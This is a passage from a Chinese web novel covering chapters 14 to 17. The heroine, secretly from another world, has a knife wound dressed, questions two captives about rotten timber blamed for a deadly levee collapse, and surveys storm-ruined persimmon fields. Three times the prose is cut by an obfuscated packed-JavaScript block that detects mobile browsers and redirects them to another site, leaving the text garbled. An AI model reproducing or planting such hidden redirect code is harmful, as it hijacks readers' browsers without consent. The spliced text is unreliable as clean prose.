声音一层盖一层,新的故事版本在空气里发芽,而这些声音便是土壤、阳光和水。 辛圭看着两人你一言我一语,互相推卸责任,眉头不由得皱紧,严肃地指出行脚的问题:“你们的逻辑链条有问题,应该是这样的。你对这里所有的人都抱有恶意,所以在马棚伤马纵马。导致大家去抢救自己的货物和马车。因此他才有空档来挟持我。” 听她这么一说,原本只是看热闹的人群瞬间被点燃了,一个个撸起袖子:“原来就是你小子割伤了我的马?”“我的货都掉水里了!” 杜掌柜此刻已经赶上来,脸上不知道是被惊出来的虚汗还是雨水,总之一切都是湿哒哒的。他招呼几个已经摩拳擦掌的人,把行脚和铁丝男五花大绑,拖到楼下。 走廊上的人散去,空间又空荡起来,辛圭这才松了口气,脖颈上的疼痛才渐渐清晰起来,她伸手一摸,指尖沾到一点湿滑的温热。 是血。 她后知后觉地开始眼眶泛红。 “先按着。”温麟趾递了块干净的帕子过来,他的声音仍旧是那种淡淡的,没什么起伏的调子。 辛圭照做。还好对方割得不深,帕子压在伤口上,虽然疼痛被压得更实了,但好在不再流血。 温麟趾看着地上的血迹,说道:“先回房间。” 走到门口,他又像是想起了什么,问道:“疼吗?” “还好。”辛圭实话实说:“就是腿有点软。” 温麟趾点了下头:“第一次被刀架在脖子上是会腿软的。” 听起来像“恭喜你达成新成就”,也像“我已经习惯了”,辛圭一时不知道是该笑还是该哭。 14. 第 14 章 新世界人际交往记录 回到屋内,雨声多了一层木墙围阻,多少安静些。 刚才还哪哪儿都显破旧潮湿,躺着也不怎么舒服的小房间,突然就变得温馨安全起来。 【实验手册·环境记录025 客栈小屋:带来安全感。 推测:世界广阔,但人类仍受动物本性影响,遇险之后仍觉得拥有一处洞穴使人如此安心。】 “坐。”温麟趾拿了药箱来。 辛圭乖乖坐下,手里的帕子已经被染红了小角。 温麟趾伸手撩开她耳边的碎发,动作不算温柔,但却很稳。 他接过帕子,辛圭放手,两人指尖轻轻擦过彼此。 药粉撒上去的那一刻,疼从火苗升级成滴了油的火苗,辛圭“嘶”的一声,肩膀抖了一下。 “疼就出声,”温麟趾淡声道:“不必忍。” 辛圭吸了吸鼻子:“喊出声并不稳定。” “你刚才喊的挺响的。” “我也不知道我会喊出来。”辛圭叹了口气:“在决策出来之前,我是不应该出声的。” “什么决策?”这是温麟趾第一次认真接她的话。 辛圭脑海中响铃大作,绝对不能向这个世界的人透露自己是光忆星来的。她只能补救:“就是……书上说行动之前,要评估一下风险做一下决策。” 李成圭最近读过很多经商类的书籍,书里出现关于风险评估的内容倒不奇怪。 温麟趾又问:“那为什么要喊?” 除了她必须隐瞒的事,辛圭向来很诚实:“嘴比脑子快。不过还好,后来我评估的结果是你被伤害的风险比我的风险要大,所以喊是对的。” 这话一出,屋内安静了一瞬。 温麟趾垂下眼,包扎的动作没有停缓,语气却比刚才更轻了些:“刚才你在楼下提醒过我那个商队行脚。是我没有第一时间去处理,才导致了后面的事情。” 他受皇命保护李成圭出门经商,无非是因为德明帝相信玄学相信天命,至于走这么一圈到底能不能旺国运,他并不在意,甚至说是根本不相信。 如果天命是在这样一个甚至会强抢民男的跋扈公主身上,那……自己循环数次的努力会显得可笑,那些浴血沙场的兵卒的生命会显得毫无意义。 但他如今似乎越来越没有办法将眼前的人和记忆里的那个公主合为一体了。 位高权重者不在意他人安危,甚至不会费心去做评估,即他人之存在都是为了自己。 但她没有。 温麟趾反而难得产生了一丝好奇,这样的她,到底是因为什么才会做出把陆居平抢回去当驸马的事儿呢? 纱布轻轻缠绕,一开始凉丝丝的,但很快就被体温烘暖。温麟趾的指尖难免碰触到辛圭的脖颈,痒痒的,但亦能感受到他指尖的粗粝。 辛圭在心里叹了口气,看来样本004号因为家道中落,真的吃了不少苦干过不少活。不过他现在是自己的人了,以后好吃的好玩的都分他一份好了。 “对不起。”温麟趾突然语气认真地说:“如果我当时多信你一点,你也不会受伤。” 辛圭愣了一下。 【新世界人际交往记录016: 有人会因为没听你的话而道歉。 结论:要好好爱护他。】 “你不用内疚。”辛圭梗着脖子,一动也不敢动,嘴上却还在说:“虽然我一开始就觉得他不对劲儿,但我也拿不太准。是我这个负责人的指令不够准确到位。” “哪里不对?”温麟趾问道。 在那么多人当中,李成圭可以一眼就看出对方的异常,或许是她头一次出门,对什么都好奇,这才观察的仔细,又或者她确实有些天赋。 “因为他的情绪啊。”辛圭原本想说情绪场的事情,话到嘴边突然又吞了回去。 一开始,她以为可以感知到情绪场是这个世界的规则,这里人人都能感知到情绪场。但随着观察,她发现他们从来不提这些。 直到今天,她才确认了只有自己能感知到情绪场。否则行脚那么突兀的情绪外放,早就被其他人注意到了,根本不可能有时间去做坏事。 这是一个别人都不知道的,属于自己的小小天赋。和读书好、跑得快什么的都不一样。 “情绪?” “是啊。”辛圭找补道:“就比如张妈关心我,我能感觉得到,那个人当时感觉好高兴,但可能周围太混乱了,或者你全心全意的在保护我,所以你没感觉到。” 在辛圭看不见的地方,温麟趾的手颤抖了一下。 他原本就有丝丝愧疚,如今听了这话心里便愈发别扭。 他不敢承认,最开始砍向思交镇的人时,他的短刀并没有收力道。李成圭的命很重要,但既然出门在外,是否受伤似乎并没有那么重要。 可就在她看向自己的那一瞬间,那种全身心信任的感觉,让他不由自主地改变刀的走向和下压的力道,而对方竟然从始至终都认为自己是在全心全意的保护她。 “我没有感觉到。”温麟趾听了辛圭的描述,将之理解为人与人之间的情感交互,她只是对此更为敏锐。 辛圭觉得奇怪,温子修的情绪场为什么在波动?深井拥有了截至目前为止她能观测到最大的波动,井水摇来荡去,你撞破我的浪花,我击穿你的波纹,好像在互相不满似的。 【情绪场记录样本004: 形态:深井的波纹混乱。 推测:……】 辛圭推测不出来,于是她直接问:“你现在是什么心情?” 头一次被人这么问,温麟趾无意识地,但却很仔细地探究自己现在究竟是什么状态,他答道:“有点后怕,有点自责,有点愧疚。” 还有点……庆幸? 辛圭记录:【推测:具对方口述,是后怕、自责和愧疚。】 包扎完毕,温麟趾清了清嗓子,看向辛圭:“以后你再觉得谁不对劲,可以先告诉我,我会相信你。” “好。”辛圭点头。 自己任命的保安负责人又给自己做了个任命——异常预警器,这感觉怪怪的,保安负责人可以再给总负责人任命吗? 但她很开心,是一种觉得自己特别的能力被看见的感觉。疼痛仍在,但心里却微微振奋。 “成圭!”门外传来方启星的声音,他快步走进来,看见温麟趾正在收药箱,而辛圭的脖子上已经缠好纱布,“我听杜掌柜说了,疼不疼?” 辛圭笑笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815823|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还好。” 方启星整个人湿的像刚从河里被捞上来,发梢往下滴水,衣服也顾不得换,看向温麟趾,控诉道:“你怎么这么粗暴,下手那么重,就不能绕远一点?迂回一点?” 温麟趾没说话,辛圭连忙说道:“我还活着。温子修很厉害。” “他要是真的厉害,你就不会受伤了。”方启星念念叨叨,但确实在为辛圭担忧:“成圭刚才怕了吧。” “成圭?”温麟趾突然开口道:“你们什么时候关系这么亲近了?” “你管那么多!”方启星瞥了温麟趾一眼:“不如检讨一下自己的刀法!要不之后还是换我保护成圭吧。” “方启星。”温麟趾沉声说道。 “干嘛?” “刚才你为什么不在马棚?” 这一问,房间内的空气流向又凝固了。 “咳。”方启星原本还在乱窜的小星星霎时暗淡下来。他偏开头,装作若无其事的样子:“我去帮忙搬货了呀,下面那么乱……” 温麟趾打断他:“我记得我在护送小姐回房的时候,特地嘱咐过你,去看马。” “你怎么这么讨厌。”方启星“啧”了一声。沉默了几息后,他终于憋出一句:“我刚才看见一个背影,很像我认识的人,所以我就去追了一下,结果人没追上,马先乱了。” 他说得很简单,情绪场却开始翻江倒海,小星星浑身颤抖,一点一点地往下掉着碎片。 温麟趾还想继续说点什么,却听见辛圭在旁说道:“刚才我想了一下,要不子修也叫我成圭吧。” 她没有掺合进他们的争执,反而觉得方启星这么叫自己有一定的好处,便在脑子里过了一遍新的决策。 【实验手册·新世界决策记录004是否让成记行几人叫自己成圭? 正面决策理由:1.出门在外,被叫做“小姐”增加了遭遇风险的几率。 2团队气氛好可以有助于团结一致。 负面决策理由:1.失去成记行“小姐”的威严。 综合评估:鉴于一个人的威严并非取决于如何被称呼,而取决于是否是实际负责人,所以正面>负面。 建议答案:该称呼为成圭,也可以试着叫对方的名字。】 听到她的话,温麟趾还在嘴边的话突然就烟消云散了,他对方启星说:“以后你再有事情,看到什么人,也要先知会一声。” 方启星却一脸不可思议:“为什么他也可以这么叫你?你还叫他子修?” 他还要再说些什么,却听见有人敲了敲门,是杜掌柜:“小姐,那两个人的事儿,是我直接处理,还是小姐亲自去看看?” 辛圭满意点头,这才是报告的正确形式,报告人和负责人直接沟通。 “我去看看。”她说道。 温麟趾看向辛圭:“能走?” “能。”辛圭站起来,挺直背,虽然脚还有点软,但脑子还是很清醒的。 【新世界自测005: 当前状态:害怕10%,疼20%,期待30%,好奇40%】 很好,自测分数又回到了100分。 她跟着杜掌柜朝楼下走去,雨声已经没有那么狂妄了,只是还没有停。 15. 第 15 章 新世界任务记录 山中河的偏厅点了三盏灯。 一盏挂在梁上,两盏摆在案边,客栈老板觉得浪费油钱,好大的不满。 商队行脚和铁丝男被绑成了两个粽子,鼻青脸肿,显然已经过一轮热情的“招待”,瘫坐在地上,一左一右。 右边是商队行脚,脸上还挂着没擦干净的泪,拖着软塌塌的肩膀用力往后缩,好像要施展穿墙遁地之术。 左边是铁丝男,泪水更凶,但神情却很平静,时不时抽两下气。 辛圭坐在小杌子上,簿册摊在膝头,杜掌柜、温麟趾、方启星围着她站住后半圈,颇有一副威慑感。 【实验手册·新世界审讯记录001 环境:山中河偏厅,雨夜,灯光偏黄。 对象:样本013(铁丝男)、样本014(商队行脚)。 目的:弄清思交镇与成记行之间的矛盾。】 她给自己订了一个很正经的标题,用以减缓内心的忐忑,毕竟这是她第一次坐在问话的一边。 以前在光忆星,她只有被问话的份儿。 “先从你开始。”温麟趾看出李成圭的不安,率先开口打破僵局。 他声音不大,也没拍桌子,却压迫感十足:“姓名,来路。” 商队行脚立刻摆出一副哭腔:“冤枉,我真没想对其他家下手。我是被他威胁的呀!他说要找成记行的人报仇,要拿你们小姐去换账,我本来说我不干,他就说要把我推下河。” “滚你娘的!”铁丝男气得差点从地上蹦起来:“谁威胁你了?不是你说看着外面乱,你心里舒坦吗?” 情绪场两边的刺猬和铁丝球撞来撞去,砰砰乱响,敲得辛圭脑袋疼。 “你只需要回答我的问题。你的来路?”温麟趾根本不把行脚的推脱放在心里,李成圭刚才已经很直接了当的将情况说明了。 “陈木……”商队行脚抽噎:“我是跟着车队来送布料的,就是路过,看见他……” “好好说。”温麟趾冷声道:“我不介意再把你另一个肩踩断。” 陈木被吓坏了,支支吾吾半天才说:“我以前在槐山渡帮人赶过车,被打过。” 方启星忍不住插嘴道:“是我打你的吗?你就来坑我们?” “你们都不是好东西!”陈木像是突然被激怒,急促说道:“嫌我走得慢,骂我!说我耽误他们吃饭。那路本来就不好走,催催催,结果路上车翻了,我被扣了一年的工钱。我是死人吗?谁在乎我吃不吃饭?” “我家里还有娃儿等着吃饭呢,谁管过他们啊?”他鼻子一算:“你们这些大商行的人,谁会记得我们这些人?” 辛圭原本只觉得他是看到乱子会高兴的坏人,此刻看着他情绪场里缩成一小团的刺猬,突然能理解一点点,但也只是很小,很小的一点点。 【新世界记录025: 坏事背后不一定只有坏的理由,但——有理由并不代表这件事就不坏。】 “所以……”辛圭问道:“你觉得只要抓住机会伤害我们,心里就平衡了?” “我、我就是一时糊涂。”陈木低头说道。 他说到这儿,杜掌柜微微叹了口气,就连方启星情绪场里的小星星都微微抖动,大概是产生了些许的怜悯之情。 辛圭觉得他们两个立场不清晰,立刻清了清嗓子:“你刚才很清醒。你举刀的时候,手一点都不抖。你笑的时候,也没有人扯你的嘴角。你看着客栈混乱而亢奋的时候,也没有一个叫做糊涂的人拉着你去放马。” 小刺猬把自己团得更紧,一副捂住耳朵不愿意听的样子,刺也还竖着,不愿意放平。 “那你呢?”温麟趾看向铁丝男。 铁丝男沉默片刻:“刘二和,思交镇刘家木坊的伙计。” 温麟趾看向辛圭,她抿了下唇,学着温麟趾的语气:“你刚才说成记行没良心,从头说!” 刘二和咬牙:“你们还装不知道?成记行给我们送来一批木料,说是上好干材,我们师傅忙活了把个月,赶工替商州那边修筑堤的桩子。结果呢?” 他越说越激动,情绪场里的铁丝一圈圈的盘旋向上。 “镇上下了一回大雨,河涨水,把那几处新打的桩子直接给冲塌了。”刘二和说到这里,眼眶发红,声音也哽咽了:“堤岸边挤着多少人你们知道吗?我们刘掌柜急得直吐血,去找成记行理论。结果呢?你们的人把账本一翻,”他苦笑,学着账房先生的强调:“这批货在仓库里放着的时候是好好的,出仓也验过货,签字画押都有。什么意思?赖死了呗?” 辛圭下意识抬头,看向杜掌柜。 杜掌柜眉头皱得能夹死苍蝇,刚想开口,辛圭连忙阻止:“别急,先听。” “后来呢?”辛圭问道。 “后来?”刘二和冷笑一声:“后来堤坝塌了的那一截,压死了人。” 雨水落下来,砸在院落的水坑里,像不休的叹息。 “你们成记行的人只会说‘那是水大’、‘那堤坝本来就老了’。可那些桩子是我们打的,刘掌柜检查后面的木头,却看见里面是空的,是烂的!”刘二和死死瞪着杜掌柜:“你们成记行,是在拿我们的命做生意!” “放屁!”杜掌柜火气一下子也上来了。他激动地往前走了一步,胡子抖动:“那批货是从京城仓里运出去的,码放不到三个月,出仓时我亲眼看过。横切面纹理平整,根本没有虫眼。你们打桩师傅亲自在河边验的货,你们自己也盖了手印儿。真出了事儿,你们就净推到货上来!堤高是谁算的?地是谁勘的?你们敢说自己一点责任都没有?!” 两个人一来一回,声音都拔高了几分。 辛圭飞快记录: 【成记行版本: 1.仓出货时无明显问题,有验货记录。 2.交货时思交镇盖过手印。 3.坍塌原因可能有:河道、堤坝本身老旧;打桩位置/深度;天气异常。】 【思交镇版本: 1.木头中空,带虫。 2.事故致人死亡。 3.觉得成记行拿他们的命在做生意。】 “那你们今天还想把我们小姐掳走!”杜掌柜和刘二和吵得已经不可开交。 “不然呢?”刘二和瞪着眼:“成记行的人出门做生意,我们不能上门讨个说法?你们一口咬死我们是欠账。那我就抓你们的人问一问,到底谁赖谁!” 辛圭突然觉得他说得很有道理,既然双方沟通道路不畅,不如找个由头坐下来一起好好谈一谈。 “就算要问,”温麟趾看着辛圭微微点头的模样,不由得出声道:“你也没有权力把刀架在人脖子上。” 刘二和嗤了一声:“那堤塌了,压死人,又是谁把刀架在谁的脖子上?” 辛圭觉得脖颈上的伤变得更热了一点,她深呼吸,试着把注意力转移到记录上:【情绪长样本·013补充: 铁丝将自己团成团打成结。 猜测:他不是单纯为钱,也是在为死去的人生气。】 温麟趾思忖片刻,问道:“那批木头是什么时候发的?从哪儿运来?中间又经过几手?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815824|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘二和愣了一下:“我只知道是成记行的货,从水路运过来的,来的晚,说路上被耽搁了。”说完,他又恼怒地盯着杜掌柜:“你说是京城仓里的?那怎么木料还不如我们镇上的?” 杜掌柜吸了口气,压着火气解释道:“那批货是三个月前从北地运来的,先入了咱们京城里的仓库,再转去商州思交镇的。一路都有公文签印,出仓之前我和账房都查看过,绝无可能有虫。” “北地?”温麟趾顺着线头往下拽:“北地哪儿来的?” “青谷。”杜掌柜答道:“思交镇这批货是前年的事儿了。青谷木头好,老爷当时还特地嘱咐福伯来传话,说这批货可能是要拿去做护堤的桩子,也算是变相赈济,价钱给低些。但也因为是赈济,我们的质量可是一点都没省。” “青谷?”辛圭听了有些迷惑:“我记得往年账本里,成记行不是一直从壁州进木材吗?” “是。”杜掌柜对她能记住这一点很是惊奇,连忙解释道:“壁州因为天气问题,木材泡的厉害,难以晾干,这才换了青谷的货。” 辛圭:“刚才刘二和不是说中途耽误过吗?为什么耽误啊?耽误了多久?” “一个月。”杜掌柜闻言也皱起眉:“前年水大,商州那边说水位不稳,船不好靠,我们的人也催过两次。” 辛圭听着,一行行写下去:【货物流转简表:壁州木不好→用青谷木→北路运往京城→水路到商州→商州码头压货一个月→思交镇→打桩→暴雨→堤塌。】 她在最后打了一个小小的问号,虫子是从哪一步生出来的? 光忆星总会在后面加一个“待查证”的符号,她也照学不误。 “那些木头你们思交镇还有吗?”辛圭问道。 “有!”刘二和拧了拧身子:“之前就给你们成记行看过,你们都不认这是你们的货!” 辛圭点了点头:“那你还有其他要补充的吗?” 刘二和:“你们自己做的事自己心里清楚,还要我来补充?” “既然没有补充的了。”辛圭站起身,声量不大,但却字字清楚:“事关人命,也事关成记行,我们会查清楚。但不管是谁的错,今晚你持刀劫人,确实不对。” “你想怎么样?”刘二和声音发干,他原本听说成记行这次是小姐出来,觉得这种闺阁里的丫头不顶事儿,但正好可以给思交镇讨个说法。 辛圭合上本子,认真说道:“送官。” “送官?”刘二和和陈木一同喊道。 辛圭看着刘二和:“不是有借口就能做不对的事的。一码归一码,思交镇的木材问题我们会查清楚,那是一件事儿。今天你持刀挟持我,是另一回事儿。两件事不能混为一谈。” 刘二和抿了抿嘴,再也没说什么,他在来前就已经估量好了所有的可能。 而陈木那头一听送官,刺猬炸开:“不不不,我只是……” 方启星已经被辛圭端正了立场,此刻冷笑:“你只是觉得我们的死活不值钱。那你也去让别人评评,你值不值钱。” “姑娘的意思是,”杜掌柜转过身,“等到了对岸,咱们先去思交镇看看?” 辛圭抬起头,脖子还在疼,这疼在提醒她:自己也在这事件当中,而非“观察的工具”。 “去。”辛圭说:“去看看。” 声音不大,却很清楚。 【新世界任务记录001: 第一站:思交镇。 任务内容:查清成记行与思交镇的木货纠纷;查堤坝、木材、账本;让死过的人不白死。】 16. 第 16 章 产业记录· 雨停的时候,天还没亮。 灰云压得很低,像闷了不知道多久的棉花被,盖在头顶,时不时还能抖落几滴迟到的雨。 槐山渡被这雨泡了一夜,大地被翻了个面,白天还干燥坚实的土地,此刻变成厚重的泥,鞋子踏进去,拔出来都得废半天力气。 客栈门口乱七八糟堆了一地被浸湿的货物,有人蹲在地上翻看,有人在和掌柜吵赔偿,还有人站在廊下抽闷烟,眼圈发青,眼神空空。 “成圭!”方启星在前方冲她招了招手。 成记行的马车已经整顿停当,昨夜惊险之后,刘二和和陈木被送到了官府,该写的供词都递了,杜掌柜和温子修忙了一夜,好歹把一切都摆回正轨。只是不知道,此时的正轨与之前,是否还是一样。 “来了!”辛圭裹着外衫,踩着湿滑的石阶走下去。 她又回头看了一眼槐山渡。雨后的渡口像被块旧铜板,上面满是划痕。 辛圭突然有点想吃柿子糖。 想到这里,她默默记下一笔:【新世界环境笔记:在害怕和难过之后,甜食依旧有效。】 马车动了,车轮在泥水里挤出“咯吱”声,撑开的雨蓬滴着水,慢悠悠地上了船。 槐山渡渐渐退到身后,河面宽阔起来,水色浑浊,偶尔漂过去几块不知从哪儿冲下来的木头,像没找到归宿的尸身。 雨后的风终于带了些凉意,却不算舒服,冰着,黏着,从衣缝里一点点钻进来。 方启星坐在船位,冲辛圭招了招手,“你看”,他指着对岸:“那一片,全是柿子。” 雨后的山坡被淡雾笼罩,远远看去是起伏的墨色,只有那一丛丛橙红还倔强地留在枝头,像铺了层红色的云霞。 “这就是商州?”辛圭惊于这样的景致,并非系统排布好的壮丽或细腻,而是自由的自然摧枯拉朽后的风华与片刻宁静。 “等进了城,你就知道商州为什么被称为柿子城。”方启星递给辛圭一条紫红色的丝巾,“商州的人说,天上要是掉东西下来,不是雨,就是柿子。画画的人喜欢这样的景色。” 辛圭接过丝巾,有些不解地看方启星。 方启星挠了挠头:“可以缠一下挡住脖子上的伤口。”他有点不好意思,至于究竟是不好意思昨晚自己的疏忽,还是不好意思其他,怕是很难钻进他的心里。 “谢谢。”辛圭接过丝巾,觉得有些沉重,实在是因为这颜色,和最开始两人见面时那刺眼的颜色太相似了。 但她还是乖巧戴上,再看那些橙色的烟霞:“那如果是没有柿子的年份呢?” “那全州人都能愁得睡不着”,杜掌柜在旁说道:“掐着指头算,接下去的一年该怎么活。” 辛圭点了点头。 【新世界产业记录001: 商州:以柿子为主产。 结论:柿子好,大家都好。柿子不好,大家都不好。】 船渐行渐近,两岸的细致景致已不再是粗略的色块,而是具体的细致的。 一路走来,有很多很多的树。 商州人喜欢种柿子,因为柿子给他们带来了生机,所以能种树的地方都种,甚至干脆贴着屋墙栽。 杜掌柜叹了口气,说道:“往年商州这个时节是最好看的。一树树干瘦的枝丫,挂着一颗颗漂亮的柿子,好像提前过年挂起了灯笼。” 可今年太不一样。本来就因为干旱燥热发育不良,如今又被雨水狠狠地砸了一夜。 有的被砸得皮开肉绽,露出里面的果肉;有的直接从枝头被打落,摔在泥里砸成一滩。树上还吊着的看起来也不太妙,只是硬撑着,再来点风一晃,说不定就要认命。 辛圭看见有人蹲在地里抹眼睛,动作又重又急,像在擦什么擦不掉的东西。 【新世界环境记录: 柿子林:远看是橙色的烟霞,近看却是抹眼泪的人。 结论:画家喜欢漂亮的色块,但在画里的人,却不一定觉得画好看。】 她问方启星:“你觉得这样的画好看吗?” “我?”方启星愣了一下,笑起来:“我小时候来过商州,那时候觉得真好看,因为这里一到秋天,和我们那儿不一样。我们淮南,到处都是绿色的,哪怕到了冬天也如此。现在嘛,”他抬了抬下巴,对着那一地橙红:“现在只觉得,这些柿子要是会说话的话,肯定已经骂老天了。” 辛圭觉得,淮南和光忆星好像,在光忆星,也是一年四季都是绿油油的。 原来绿色之外,还有其他颜色。 午后,下了船的成记行车队远远看见了商州城。 城墙并不算高,到却胜在规整。杜掌柜介绍说城门外是一大片晒柿场,但对辛圭来说这里更像是一个中转整理场。 东一块西一块黏在篷布上的橙色,甜味被雨水搅合,变成一股说不清道不明的酸气和苦味,是一种失控的甜。 到处都是抬筐搬担的人,“唉——”长的、短的、粗的细的,各种不同的“唉”叠在一起,像是这篇晒场自带的背景音。 杜掌柜下了车:“姑娘先在这里稍候,我去打听一下今年的情况。” 辛圭点了点头,又有些不明白地问方启星:“成记行在商州有分行,为什么不直接去问那里的掌柜,或者看账本呢?” “这世上的东西,可不是只在纸张上。”方启星摇头晃脑地说道:“还得是亲眼看见的亲耳听到的。” 【新世界环境记录045: 看见的、听见的和阅读的并不一样。 推测:原因不明,可能是当地人对于纸张上的信息接受程度略低于其他五感。】 但听他这么说,辛圭看向另一侧的柿林,撩起裙摆,小心翼翼下了马车。 往里面走没几步,就觉得有些不一样。泥不是纯粹的泥,踩下去的时候会有一点软塌塌的回弹,带着黏腻感。抬脚时,鞋底不知道被什么东西拖了一下,像是有人不情不愿地松手。 “姑娘,小心,别弄脏了。”一个嗓门不高,吐字却很清楚的声音在旁边响起。 是个年纪不小的妇人,头发用布巾扎的干练,袖子挽的老高,手臂上沾了一层“柿子印”。她正扒拉着地上的柿子,试图找出一些还能挽救的边角料。 “没事。”辛圭认认真真回答:“本来就是来看泥的。” 妇人被她逗笑:“哪里有人专门来看泥。” “我是来学习的。”辛圭解释道:“顺便看看柿子。” 她蹲下身,小心避开那摊面目模糊的“柿子酱”,伸手指了指妇人筐里的,问道:“这个还能用吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815825|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >辛圭指的这柿子中间已经塌陷,只剩外围一圈颜色稍深的皮,努力保护着果肉。 妇人叹气:“看着能用,其实不好卖。” “怎么用?熬柿子糖吗?” “熬柿子糖、柿子酱,品相再好点的可以做饼或者果脯。但谁都不想要,瞧不上眼,只好留在自个儿家里慢慢吃。可是,自个儿家吃得完多少呢?” 她这句话里的无奈,用柿子的话说,就是被晒过太多轮之后的干裂——虽然不至于立刻萎靡,但也确实没什么水分了。 辛圭伸手,把那一圈勉强还算完整的边拿在手里,又从怀里掏了一个铜板递给妇人:“我能尝尝吗?” “你吃就是了,这么一个柿子,要什么钱。”妇人摆了摆手,说道:“今年这地,吃不完的烂柿子。” “谢谢。”辛圭抿了下柿子干净的地方,是甜的,比柿子糖还甜,涩味已经完全没有了。如果没有这场暴雨,它可能是在干旱中也努力生长的厉害柿子。 【产业记录·柿子专项001: 卖柿子的人:卖不出去,但舍不得扔。 收柿子的人:能卖,但不值钱。】 “要是能把这些边边角角单独放在一起呢?”辛圭问:“就只卖给愿意要的人,价钱可以写得清楚一点。” 妇人愣住:“谁愿意要?” 这个问题倒是难住辛圭了,她“嗯”了半天,也没“嗯”出个所以然。 倒是方启星在旁说道:“比如说,嘴馋,但手头紧的。” “对对对。”辛圭疯狂点头,比如彦彦,她觉得一颗糖是那么珍贵,可是糖的价格并不便宜,如果价格能低一点,是不是可以有更多的彦彦吃到糖果? 方启星眼睛飞快地扫了一地柿子:“好柿子当然要按照正经货卖,边角料多折些,或者按照‘熬糖’、‘做酱’来卖,总比全都搁在自己家里吃强。” 妇人摇头:“说起来容易,做起来难。” “是啊。”旁边有个老汉插嘴,头发花白,腰却挺得笔直:“你看这地里的柿子,能抢出来多少?你家一点我家一点,再到商行们来收的时候,又不知道坏了多少。更被提运出去了,今年柿子软,一碰一磕,谁敢收谁敢卖?” “那……”辛圭想了想,认真问道:“那就不能先做好,在卖?就像槐山渡的柿子糖。” “柿子糖是槐山渡那边的人弄得巧,我们这边多是卖干果。”老汉说道。 “但是我们会做柿子酱。”妇人说道:“谁家都会做,抹馒头上当点心吃咧,美滋滋的,娃娃们爱的很。要是用盐腌一下,还耐放。” “听上去好好吃。”辛圭都能想到柿子软糯纤细的纤维在馒头上铺好,果冻一样,奶油一样,嗖地就进了肚子。 除了在想柿子酱的美味,她脑子里已经开始胡乱画表格了: 【商州柿子产品初步分类表v1.0: 干果:受损严重/品相不好=销量下降 柿子糖:技术在槐山渡,不远。 柿子酱:技术在商州。 另外可询问柿子糕等产品。】 “成圭!咱们走啦!”杜掌柜在不远处喊道。鉴于之前辛圭的决定,现在连杜掌柜都被迫叫她的名字了。 方启星再次瞪大眼睛:“怎么连杜掌柜都……” 17. 第 17 章 “先上车。”杜掌柜从晒场那边回来,神色有些凝重:“今年情况不太妙。” 方启星冲身后的柿子林努了努嘴:“谁都看得出来,干旱加上收获季的暴雨。” “杜掌柜的意思恐怕不止于此。”温麟趾看着辛圭脖颈上缠着的粉紫色丝带,觉得这颜色有些突兀,实在不合适在她身上出现。“过了这几天,应当是小麦播种的时候,如果地里一直这样,难免会影响后续的种植。” 杜掌柜点了点头:“到时候受影响的就绝非仅仅是商州的柿子,而是明年的收成。” 成记行商州的分号在城东。 门楣上那块牌匾和京城总号的一模一样,只是多了一圈岁月磨就的黑,从木纹中隐隐透出来。 “姑娘先请。”杜掌柜让开一步。 辛圭深吸一口气,跨进门槛。 京城成记行的味道是木头和脂粉,商州成记行则多了些甜腻的柿子味,前堂摆着三排柜台,后有一张方桌,坐着个中年掌柜,手里的算盘珠子被拨弄的啪啪作响。 听见有人进来,他连忙站起身迎上去:“杜兄!这位是……” “这位是咱们成记行的小姐。”杜掌柜拱手回礼,介绍道:“小姐,这位是成记行商州的刘掌柜。” 分号掌柜连忙躬身:“姑娘。” 几句寒暄落定,正事先行。 杜掌柜开门见山:“思交镇那批木材,当初从商州这边走,我记得耽搁了一个月。存放的位置、经手的手续,麻烦刘掌柜都说详细些。” 刘掌柜听到“思交镇”三个字,脸色肉眼可见地僵:“这事儿……” 他把人请到后堂,又叫来账房,挪了一摞账册出来。 “姑娘请看。”刘掌柜用袖子抹了抹桌面:“这一册是那年冬里的入库记录,这一册是一个月后的出货记录。思交镇那批木材,是先入了咱们的仓,又择日发往思交镇的。” 辛圭仔细看账本,眉头微微蹙起,她问:“这里出库,怎么是从官仓出的?不是应该在咱们的仓里吗?” 刘掌柜苦笑:“那年冬日,府里下文,说是为了统一调度赈济用料、检验材质,凡是入城的大宗木材,都要先过一趟官仓,由府衙那边统一检查之后,再发还给各行各号。” “检查?”辛圭不懂朝廷里的这些规矩,看向杜掌柜。 杜掌柜眉头拧得比她还紧:“商行行事,为何府衙横插一手,可有文书?” 刘掌柜点了点头:“有。其实一开始我们也觉得奇怪,但上面有文书,下面就只能照做。那批木材到了没多久,府里就派差役来。” 